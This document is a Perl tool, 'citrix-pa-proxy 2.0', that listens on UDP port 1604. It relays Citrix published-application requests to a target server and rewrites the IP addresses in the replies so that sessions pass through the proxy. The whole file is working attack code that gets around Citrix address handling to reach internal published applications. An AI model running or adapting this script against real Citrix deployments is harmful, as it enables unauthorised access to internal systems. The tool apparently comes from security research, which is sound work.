#!/usr/bin/perl
use Socket;

die "\
* citrix-pa-proxy 2.0 by Ian.Vitek\@ixsecurity.com *\
usage: $0 IP_to_proxy_to [Local_ip]\
\
" if(@ARGV==0);

$timeout=2;
$server_ip=$ARGV[0];
$proxy_ip="127.0.0.1";
if($ARGV[1]) {
   $proxy_ip=$ARGV[1];
   $timeout=4;
}
$server=inet_aton($server_ip);
$proxy=inet_aton($proxy_ip);
$pa_connect=1;
while(1) {
   close(CON1);
   socket(CON1, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
   bind(CON1, sockaddr_in(1604,INADDR_ANY));
   $from_CON1=recv(CON1,$data1,1500,0);
   ($from_CON1_port,$from_CON1_ip)=sockaddr_in($from_CON1);
   if(substr($data1,0,8) eq "\x2c\x00\x02\x32\x02\xfd\xa8\xe3" && $pa_connect) {
     $pa_connect=0;
     warn("- Hey! This is a PA enumerate session.\n");
     warn("- Closing. Try to enumerate again.\n");
     redo;
   }
   if($pa_connect) {
   warn("PA connect from " . inet_ntoa($from_CON1_ip) . ":" . 
$from_CON1_port . "\n");
   } else {
   warn("PA enumerate from " . inet_ntoa($from_CON1_ip) . ":" . 
$from_CON1_port . "\n");
   }
   $connection=0;
   $retry=0;
   $SIG{ALRM}=sub { $connection=0; close(CON2); };
   while($retry++<3 and $connection==0) {
     socket(CON2, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
     $connection=1;
     alarm $timeout;
     warn("Sending request to $server_ip:1604\n");
     send(CON2, $data1, 0, sockaddr_in(1604,$server));
     alarm 0;
   }
   if($connection==0) {
     warn("No connection to $server_ip\n\n");
     close(CON1);
     next;
   }
   alarm $timeout;
   $from_CON2=recv(CON2,$data2,1500,0);
   alarm 0;
   close(CON2);
   if($connection==0) {
     warn("No answer from $server_ip\n\n");
     close(CON1);
     next;
   } else {
     warn("Got answer from $server_ip\n");
   }
   if(substr($data2,0,1) eq "\x30" && $pa_connect) {
     $data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$proxy/sg;
     $spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
     warn("- Changing $spoof to $proxy_ip\n");
   } else {
     $data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$server/sg;
     $spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
     $data2=~s/\x02\x00\x05\xd6..../\x02\x00\x05\xd6$server/sg if($pa_connect);
     warn("- Changing $spoof to $server_ip\n");
     $pa_connect=1;
   }
   warn("Proxying\n");
   $SIG{ALRM}=sub { $connection=0; close(CON1); };
   alarm $timeout;
   send(CON1, "$data2", 0, $from_CON1);
   alarm 0;
   close(CON1);
   if($connection==0) {
     warn("No connection to client\n\n");
     close(CON1);
     next;
   } else {
     warn("Done\n\n");
   }

}
